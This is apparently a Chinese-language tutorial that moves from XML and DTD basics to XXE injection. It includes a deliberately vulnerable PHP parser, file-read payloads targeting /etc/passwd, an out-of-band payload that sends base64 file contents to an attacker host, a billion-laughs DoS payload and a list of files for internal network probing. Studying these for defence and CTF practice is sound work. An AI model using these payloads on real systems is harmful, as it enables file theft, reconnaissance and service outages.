XML
xml基础语法
XML 指可扩展标记语言(eXtensible Markup Language),是独立于软件和硬件的信息传输工具
XML 标签没有被预定义,需要自行定义标签,并且允许自定义文件结构
XML 文档仅仅是包装在 XML 标签中的纯粹的信息,需要编写软件或者程序,才能传送、接收和显示出这个文档
XML 文档第一行以 XML 声明开始(可选),定义 XML 的版本(1.0)和所使用的编码,用来表述文档的一些信息:
<?xml version="1.0" encoding="UTF-8"?>
XML 文档必须包含根元素,是所有其他元素的父元素,所有的元素都可以有子元素,形成了一种树结构:
<?xml version="1.0" encoding="UTF-8"?> <note> <!--根元素--> <to>me</to> <!--子元素--> <from>you</from> <heading>Hello!</heading> <body>Hao ye!</body> </note>
所有的 XML 元素都必须有一个关闭标签,标签大小写敏感且必须正确嵌套
XML 元素也可拥有属性,XML 中,属性值必须加引号:
<note date="12/11/2007">Happy day</note>
在 XML 中,如果把字符
<
放在 XML 元素中,会发生错误,因为解析器会把它当作新元素的开始,可以使用实体引用来代替<
字符实体引用 字符 < < > > & & ' ‘ " “ 在 XML 中,文档中的空格不会被删减,使用
LF
做为换行
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块,可以被成行地声明于 XML 文档中,也可以作为一个外部引用
内部的 DOCTYPE 声明:
DTD 通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义 note 元素包含四个元素:"to、from、heading、body"--> <!ELEMENT to (#PCDATA)> <!--定义 to 元素为 "#PCDATA" 类型--> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
外部文档声明:
DTD 位于 XML 源文件的外部,通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
这是包含 DTD 的
note.dtd
文件:<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
XML 文档构建模块,所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素:元素是 XML 以及 HTML 文档的主要构建模块
- 属性:属性可提供有关元素的额外信息
- 实体:实体是用来定义普通文本的变量
- PCDATA:是会被解析器解析的文本,这些文本将被解析器检查实体以及标记
- CDATA:CDATA 是不会被解析器解析的文本
在 DTD 中,XML 元素通过元素声明来进行声明:
<!ELEMENT 元素名称 类别(元素内容)>
空元素通过类别关键词
EMPTY
进行声明只有
PCDATA
的元素通过圆括号中的#PCDATA
进行声明通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合
声明只出现一次的元素:
<!ELEMENT 元素名称 (子元素名称)>
声明最少出现一次的元素:
<!ELEMENT 元素名称 (子元素名称+)>
声明出现零次或多次的元素:
<!ELEMENT 元素名称 (子元素名称*)>
声明出现零次或一次的元素:
<!ELEMENT 元素名称 (子元素名称?)>
声明“非…/既…”类型的内容:
<!ELEMENT note (to,from,header,(message|body))>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用,DTD的实体类型一般分为:内部实体和外部实体,实体细分又分为一般实体和参数实体
一般实体——定义:
<!ENTITY 实体名称 "实体内容">
;调用:&实体名称;
参数实体——定义:
<!ENTITY % 实体名 "实体内容">
;调用:%实体名称;
内部实体——格式:
<!ENTITY 实体名称 "实体的值">
;举例:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[ <!ENTITY article "XXE"> <!ENTITY author "hoylindo"> ]> <test><article>&article;</article><author>&author;</author></test>
外部实体——格式:
<!ENTITY 实体名称 SYSTEM "URI/URL">
或<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
;举例:<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <test>&file;</test>
外部实体+参数实体:
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
外部实体同时还支持http等协议,整个表:
libxml2 php Java .NET file
http
ftpfile
http
ftp
php
compress.zilb
compress.bzip2
data
glob
pharhttp
https
ftp
file
jar
netdoc
mailto
gopher *http
httos
ftp
file
XXE
xxe是什么
- XXE:(XML External Entity attack),XML外部实体注入攻击,有XXE漏洞的标志性函数为
simplexml_load_string()
- 漏洞成因:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
- 漏洞危害:造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
xxe的利用
读取任意文件-有回显
测试代码:
<?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); //初始化XML解析器 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载客户端输入的XML内容 $xml = simplexml_import_dom($dom); //获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE $xxe = $xml->xxe; //获取SimpleXMLElement对象中的节点XXE $str = "$xxe \n"; echo $str; //输出XXE内容
post上传内容:
<?xml version="1.0" encoding="utf-8"?> <!-- XML声明 --> <!DOCTYPE xml [ <!-- 定义xml元素 --> <!ENTITY haoye SYSTEM "file:///c:/windows/system.ini"> <!-- 定义一般实体quan9i --> ]> <xml> <xxe>&haoye;</xxe> </xml>
放包后可以看到读取的文件内容
读取任意文件-无回显
测试代码:
<?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); //初始化XML解析器 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载客户端输入的XML内容 $xml = simplexml_import_dom($dom); //获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE $xxe = $xml->xxe; //获取SimpleXMLElement对象中的节点XXE $str = "$xxe \n"; //echo $str; //输出XXE内容
构造payload如下:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.0.111/1.xml"> %remote;%payload;%send; ]>
攻击机
http://192.168.0.111
中1.xml
的内容为<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.txt"> <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.111/?content=%file;'>">
调用
remote
,包含1.xml调用
payload
,包含file参数实体,读取文件内容(此时send中就是文件内容了)调用
send
,(将文件内容取出)
DOS攻击
通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器造成DoS
常见的恶意代码为:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "dos"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
调用
lol9
实体参数的时候,会调用10个lol8
实体参数,而每个lol8
实体参数又包含十个lol7
参数,此时已经调用了10^2
个参数实体,往下会更加的多,文件经过解析后会耗用大量内存
探测内网
敏感配置文件:
/etc/hosts
储存域名解析的缓存,/etc/passwd
用户密码,/proc/net/arp
每个网络接口的arp表中dev包存活的端口回显为
HTTP request failed!
,不存活的端口回显位failed to open stream
内网探测常用:
/etc/hosts /proc/net/arp /proc/net/tcp /proc/net/udp /proc/net/dev /proc/net/fib_trie
参考链接:
http://tttang.com/archive/1716/
BUUNCTF2019]True XML cookbook_H3018-R的博客-CSDN博客
XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户